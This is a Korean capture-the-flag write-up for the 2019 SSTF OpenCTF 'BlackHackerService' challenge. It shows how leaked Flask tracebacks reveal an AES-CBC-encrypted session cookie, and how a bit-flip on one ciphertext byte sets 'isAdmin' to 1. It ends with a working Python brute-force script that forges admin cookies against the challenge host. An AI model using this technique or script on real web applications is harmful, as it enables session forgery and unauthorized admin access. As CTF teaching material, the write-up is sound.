[2019 SSTF OpenCTF] BlackHackerService

와 이건 생각도 못했다... 아니 시도를 끈질기게 못했다;;

쿠키값으로 login된 정보를 관리하는데, 이 쿠키값을 변조되면 Not found라는 페이지로 원래는 넘어간다.






그런데 완전 메인 페이지로 돌아가면 TypeError가 뜨면서 500 Internal Server Error 가 나오면서 서버에 올라간 flask의 어떤 부분에서 오류가 났는지 볼 수 있따... 와....

이제 여기서 대부분의 정보를 얻을수 있는데, 하나하나 살펴보면 아래 부분들이 중요하다.

File "/run/task/main.py", line 106, in index
def index():
   admin=False
   error=""
   cook = request.headers.get("Cookie")
   if cook != None:
       c = check_cookie(cook)
       dbSession = init_db()
       user = dbSession.query(User).filter(User.username == c['username']).first()
       dbSession.close()
       if user is not None:
           if c['sessionId'] == user.sessionId:

File "/run/task/main.py", line 24, in check_cookie
def check_cookie(cookie):
   cookie = cookie.replace("testcookie=","")
   #cookie format
   #{ "username": "", "email": "", "isAdmin" : 1/0, "sessionId" : "" }
   #check /cookietest endpoint if you want to decode your cookie
   js = cipher.decrypt(cookie)
   js = remNonAscii(js)
   j = json.loads(js,object_pairs_hook=OrderedDict)
   return j

File "/run/task/AESCipher.py", line 18, in decrypt
       plaintext = self._pad(plaintext)
       cipher = AES.new(self.key,AES.MODE_CBC,self.iv)
       return base64.b64encode(cipher.encrypt(plaintext))

   def decrypt(self,ciphertext):
       ciphertext = base64.b64decode(ciphertext)
       cipher = AES.new(self.key,AES.MODE_CBC,self.iv)
       return self._unpad(cipher.decrypt(ciphertext))

   def _pad(self,s):
       l = len(s)

AES-CBC를 사용한다는 것을 알 수 있고, (물론 이건 login 계정을 여러번 만들면서 추측가능했다.)

쿠키 포맷까지 얻을 수 있다.

        #cookie format
  #{ "username": "", "email": "", "isAdmin" : 1/0, "sessionId" : "" }
  #check /cookietest endpoint if you want to decode your cookie

처음에는 저 부분이 주어지지않는다고 생각하여서, 여러 계정을 만들며 테스트해가며 BLOCKSIZE가 16이고, CBC모드라고 판단할 수 있엇다.

그래서 처음에는 username을 admin으로 만드는 문제인줄 알고 열심히 고생했었다...ㅠㅠ (그런데 사실 저 포맷을 믿을만한게 못되는게... 테스트해본 결과 첫번째블록에는 username의 두번째까지 들어간다.)

그래서 정상적인 포맷은 아래와 같이 되야한다.

{"username": "test", "email": "test@test.test123", "isAdmin": 0, "sessionId": "779ea873a8bc896e89f66f"}

그러므로 블럭단위로 나뉘어 encrypt되는 것은 아래와 같다.

{"username": "te
st", "email": "t
est@test.test123
", "isAdmin": 0,
"sessionId": "7
79ea873a8bc896e89f66f..."}

CBC모드에서는 decrypt 후 이전 Ciphertext와 XOR한 값이 Plaintext가 되므로, 이전 Ciphertext를 수정하여 다음 plaintext에 영향을 줄 수가 있다.


{"username": "br
e4k", "email": "
test@test.test12
3", "isAdmin": 0
"sessionId": "e
fddcaf9eba85ab66aa9ec5649a7b5b4"}

쿠키값에서 3번째 블럭인 email부분은 어짜피 쓸모가 없으니, 3번째 블록의 Ciphertext를 수정하여 다음 블럭의 평문에 영향을 줄 수 있다. 이렇게되면 3번째 블럭은 복호화가 제대로 되지않으나(복호화는 되지만 이상한값이 나온다.) 4번째 블럭의 값을 변경할 수 있다.

이게 BitFlip의 차례이다. 3번째블럭의 16번째 bytes를 flip시켜서 다음 블럭과 xor할때 "isAdmin": 1이 되게 만들어 주면 된다.

와 근데 이거도 운이 따른다 ㅡㅡ;;

정말 운이 안좋게도 "isAdmin": 1이 안나오는경우가 있다. 2~9까지는 나오는데;;

(그런 경우는 어쩔수없이 새로 계정을 파야한다 ㅁㄴㅇㄹ)

break → br3ak → bre4k 로 해서 bre4k에서 성공했다.

from base64 import b64decode, b64encode
import requests

def requestAdminSecret(cookie):
   cookies = {'Cookie': 'testcookie='+cookie}
   r = requests.get("http://blackhackerservice.sstf.site/hive/secret/",headers=cookies)
   result = r.content
   if "Not found" in result or "url(/static/ad.png)" in result:
       return (False, result)
   return (True, result)

"""
username : bre4k
email : test@test.test123
passwd : test

{"username": "br
e4k", "email": "
test@test.test12
3", "isAdmin": 0
"sessionId": "e
fddcaf9eba85ab66aa9ec5649a7b5b4"}
"""

cookie = "i4KQHe3skBiL2cNgZtz0m8bpdnbe2hFNK+71TIRV9wyKCNhOt+4R4ZQu+cwKkTQ7RK110r8P8csh3GWJAduUqGz5xqkBaG93HBeyoMBOUygPbsXo/q+8gifpRh/FhvOw+GK82TuvGfLU0XB8WjBZDJV5oCSHZUu9Iz7rzwP8LY0="
cookie = b64decode(cookie)

sta = cookie[:32]
mid = cookie[32:48]
end = cookie[48:]

for x in range(0, 256):
   middle = mid[:15] + chr(x)
   corrupt_cookie = b64encode(sta + middle + end)
   access, result = requestAdminSecret(corrupt_cookie)

   if access:
       print("new cookie("+str(x)+") : "+corrupt_cookie)



+ Recent posts